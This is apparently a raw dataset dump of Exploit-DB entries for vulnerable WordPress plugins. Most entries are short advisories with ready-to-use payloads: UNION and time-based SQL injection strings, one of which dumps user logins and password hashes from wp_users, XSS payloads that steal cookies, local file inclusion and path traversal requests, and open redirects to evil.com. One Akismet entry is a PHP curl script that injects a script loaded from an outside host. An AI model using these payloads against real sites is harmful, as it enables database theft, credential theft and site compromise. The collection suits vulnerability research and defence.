deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18350
Description: WordPress Plugin Age Verification 0.4 - Open Redirect
Type: webapps
Platform: php
Date: 2012-01-10
Author: Gianluca Brindisi

Exploit:
# Exploit Title: Wordpress Age Verification plugin <= 0.4 Open Redirect
# Date: 2012/01/10
# Dork: inurl:wp-content/plugins/age-verification/age-verification.php 
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/age-verification.zip
# Version: 0.4

1)  Via GET: http://server/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com
    
    The rendered page will provide a link to http://www.evil.com

2)  Via POST: http://server/wp-content/plugins/age-verification/age-verification.php
    redirect_to:    http://www.evil.com
    age_day:        1
    age_month:      1
    age_year:       1970

    Direct redirect to http://www.evil.com
Exploit-DB #17207
Description: WordPress Plugin Ajax Category Dropdown 0.1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-22
Author: High-Tech Bridge SA

Exploit:
=============================
Vulnerability ID: HTB22946
Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_in_ajax_category_dropdown_wordpress_plugin.html
Product:  Ajax Category Dropdown wordpress plugin
Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ ) 
Vulnerable Version: 0.1.5
Vendor Notification: 07 April 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%28%29,3,4,5,6,7,8,9,version%28%29%20--%201


=============================
Vulnerability ID: HTB22947
Reference: http://www.htbridge.ch/advisory/xss_in_ajax_category_dropdown_wordpress_plugin.html
Product: Ajax Category Dropdown wordpress plugin
Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ ) 
Vulnerable Version: 0.1.5
Vendor Notification: 07 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input in "category_id" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:


http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_id=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #17686
Description: WordPress Plugin Ajax Gallery 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ajaxgallery.3.0.zip
# Version: 3.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
if( isset( $_GET[ 'delete' ]) && isset( $_GET['gId'] ) ){
  $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name='agItem' and option_id=".$_GET['gId'] );
  echo "<div id='message' class='updated fade'><p><strong>Galeria eliminada</strong></p></div>";
}
Exploit-DB #32622
Description: WordPress Plugin Ajax Pagination 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-31
Author: Glyn Wintle

Exploit:
Details
================
Software: Ajax Pagination (twitter Style)
Version: 1.1
Homepage: http://wordpress.org/plugins/ajax-pagination/
CVSS: 9.3 (High; AV:N/AC:M/Au:N/C:C/I:C/A:C)

Description
================
End-user exploitable local file inclusion vulnerability in Ajax 
Pagination (twitter Style) 1.1

Vulnerability
================
This plugin contains a file inclusion vulnerability that is exploitable 
by an unauthenticated user. The user can include any local file ending 
in “.php” which is accessible to the web user.

Proof of concept
================
A non-logged in user can call the ajax function 
wp_ajax_nopriv_ajax_navigation that calls ajax_navigation_callback in 
ajax-pagination-front.php at line 75.
By setting the value of “loop” in the POST data, they can include the 
contents of that path on the returned page.
For example, to include the contents of wp-login.php in the returned 
page, send the following:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
paged=2&action=ajax_navigation&loop=../../../wp-login


Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you 
received it via a third party (for example, plugins@wordpress.org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2014-02-18: Reported to nuwan28@gmail.com and plugins@wordpress.org
2014-03-28: No response received to reports. Vulnerability published.


Discovered by dxw:
================
Glyn Wintle
Please visit security.dxw.com for more information.
Exploit-DB #35493
Description: WordPress Plugin Ajax Store Locator 1.2 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2014-12-08
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Wordpress Ajax Store Locator <= 1.2 Arbitrary File Download

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356

# Software Link : Premium

# Dork Google: inurl:ajax-store-locator
#              index of ajax-store-locator      

# Date : 2014-12-06

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

######################

# PoC Exploit:

http://TARGET/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=[../../somefile]

"download_file" variable is not sanitized.

 
#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
		
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #37902
Description: WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-01
Author: Tapco Security

Exploit:
source: https://www.securityfocus.com/bid/55749/info

The Akismet plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

#!/usr/bin/php -f
<?php
#
# legacy.php curl exploit
#

//
// HTTP POST,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL,
"http://$target/wp-content/plugins/akismet/legacy.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"s=%2522%253E%253Cscript%2520src%253d%2F%2Fsantanafest.com.br%2Fenquete%2Fc%253E%253C%2Fscript%253E");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>
Exploit-DB #30036
Description: WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-14
Author: David Kierznowski

Exploit:
<!--source: https://www.securityfocus.com/bid/23965/info

The WordPress Akismet plugin is prone to an unspecified vulnerability.
-->

<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html>
Exploit-DB #37464
Description: WordPress Plugin Albo Pretorio Online 3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-07-02
Author: Alessandro Cingolani

Exploit:
# Exploit Title: Albo Pretorio Online 3.2 Multiple Vulnerabilities
# Google Dork: inurl:/?action=visatto
# Date: 09/06/2015
# Exploit Author: Alessandro Cingolani
# Vendor Homepage: http://plugin.sisviluppo.info/
# Software Link: https://downloads.wordpress.org/plugin/albo-pretorio-on-line.3.2.zip
# Version: 3.2
# Tested on: Firefox on Ubuntu 64 bit

==============
Introduction
==============
Albo Pretorio Online is a simple wordpress plugin that allows to manage an official bulletin board (albo). For an Italian law publishing an albo on institutional sites become compulsory in 2009. This made the plugin very popular in the institutional enviroment due to the fact that it is the only one present in the official channels. The plugin suffers from an unauthenticated SQL Injection and other various authenticated vulnerabilities, such as XSS and CSRF. In fact the back-end does not sanitize any input/output, so many vulnerabilities are present.

=============
Front-End
=============	
SQL Injection :
	http://victim.com/albo-folder/?action=visatto&id=[Inject Here]
============
Back-End
============

In the back-end, no protection against SQL Injection, XSS and CSRF exists. This are just few examples

Blind SQL-Injection
====================
	http://victim.com/wp-admin/admin.php?page=responsabili&action=edit&id=[Inject Here]
	http://victim.com/wp-admin/admin.php?page=atti&action=view-atto&id=[Inject Here]

CSRF
=====

In the back-end, the item deletion is not protected, so any element (acts, responsibles, etc.) could be deleted.

POC:

Responsible deletion 
	http://victim.com/wp/wp-admin/admin.php?page=responsabili&action=delete-responsabile&id=***responsabile's id***
Act deletion
	http://victim.com/wp/wp-admin/admin.php?page=atti&action=annulla-atto&id=***atto's id***
		

Stored XSS
===========
This plugin does not sanitize any output so each form input, except email, is vulnerable to stored XSS.


Also some Reflected XSS and a possible Shell Uploading vulnerabilities were discovered and fixed.

Timeline
=========
9/06/2015 	- Vulnerabilities found. Developer Informed
17/06/2015	- Patch Relased (Version 3.3)
02/07/2015	- Exploit disclosed
Exploit-DB #36323
Description: WordPress Plugin Alert Before Your Post - 'name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-21
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/50743/info

Alert Before Your Post plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=[xss]
Exploit-DB #36671
Description: WordPress Plugin All In One WP Security & Firewall 3.9.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-04-08
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/

# Software Link : https://mega.co.nz/#!DJAEBLBS!IBiukGo-pirelHmsRV80xZDHIvpqZKtTIqsD8YrMf7U

# Date : 2015-04-05

# Tested on : Linux / Mozilla Firefox
 
######################

# Description

 WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability
 
 There are some pages with wordpress esc_sql function. 
 esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - http://dewhurstsecurity.com/)
 
 isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = '';
 isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = '';
 
 - admin/wp-security-list-404.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'id';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 ...
 ...
 $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A);
 
 
 - admin/wp-security-list-login-fails.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A);
 
 
 - admin/wp-security-list-acct-activity-php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A)
 
 
 - admin/wp-security-list-locked-ip.php
 
 $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date';
 $order = !empty($order) ? esc_sql($order) : 'DESC';
 
 $data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A)

######################

# PoC

 http://VICTIM//wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc


######################

# Vulnerability Disclosure Timeline:

2015-04-05: Discovered vulnerability
2015-04-06: Vendor Notification
2015-04-06: Vendor Response/Feedback 
2015-04-07: Vendor Send Fix/Patch (3.9.1)
2015-04-07: Public Disclosure 

#######################

Discovered By : Claudio Viviani
                http://www.homelab.it
                http://ffhd.homelab.it (Free Fuzzy Hashes Database)
 
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #22427
Description: WordPress Plugin All Video Gallery 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-11-02
Author: Ashiyane Digital Security Team

Exploit:
# Exploit Title: Wordpress All Video Gallery 1.1 SQL Injection Vulnerability
# Google Dork: inurl:"all-video-gallery/config.php?vid="
# Exploit Author: Ashiyane Digital Security Team
# Software Link: http://allvideogallery.mrvinoth.com/
# Category: Web Application
# Version: 1.1
# Tested on: Windows 7
###############################################################
* Location:  http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=[SQL]
* Exploit Code: http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid=-1+union+select+1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+wp_users--
***************************************************************
* Greetz to: My Lord ALLAH
* Sp Tnx To: Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azad,Black-Hole,Classic,Encoder,ERroR,Hashor
* HASSAN20,HidDeEn,hossein19123,jooooondost,Kaz3m,ll_Invisible_ll,majidflash,megacpu,MehrdadLinux,Milad-Bushehr,MostafaBestMan,MR.SAMAN,Mute,N4H,Pr0grammer,PrinceofHacking
* Rizux,Rz04,S!YOU.T4r.6T,Sil3nt Di3,The Smith,unique2world,Unline,V!T0N,X-HIDDEN-X
* Crypt0,khatarnak,Milad22,MR.Vinci,Pirjo,V1R4N64R
* And All Of My Friends 
* The Last One : My Self, Milwar 
***************************************************************
###############################################################
Exploit-DB #37075
Description: WordPress Plugin All-in-One Event Calendar 1.4 - 'agenda-widget-form.php?title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52986/info

All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #37078
Description: WordPress Plugin All-in-One Event Calendar 1.4 - 'agenda-widget.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52986/info
   
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget ]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before _title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_ title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #37076
Description: WordPress Plugin All-in-One Event Calendar 1.4 - 'box_publish_button.php?button_value' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52986/info
 
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php?button_value= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #37077
Description: WordPress Plugin All-in-One Event Calendar 1.4 - 'save_successful.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52986/info
  
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php?msg=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
Exploit-DB #50562
Description: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI)
Type: webapps
Platform: php
Date: 2021-12-03
Author: Mohamed Magdy Abumusilm

Exploit:
# Exploit Title: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) 
# Exploit Author: Mohamed Magdy Abumusilm Aka m19o 
# Software: All-in-One Video Gallery plugin 
# Version: <= 2.4.9
# Tested on: Windows,linux 

Poc: https://example.com/wordpress/wp-admin/admin.php?page=all-in-one-video-gallery&tab=../../../../../poc

Decription : Authenticated user can exploit LFI vulnerability in tab parameter.

Vulnerable code block : https://i.ibb.co/hXRcSQp/1123.png

You can find a writeup at my blog : https://m19o.github.io/posts/How-i-found-my-first-0day/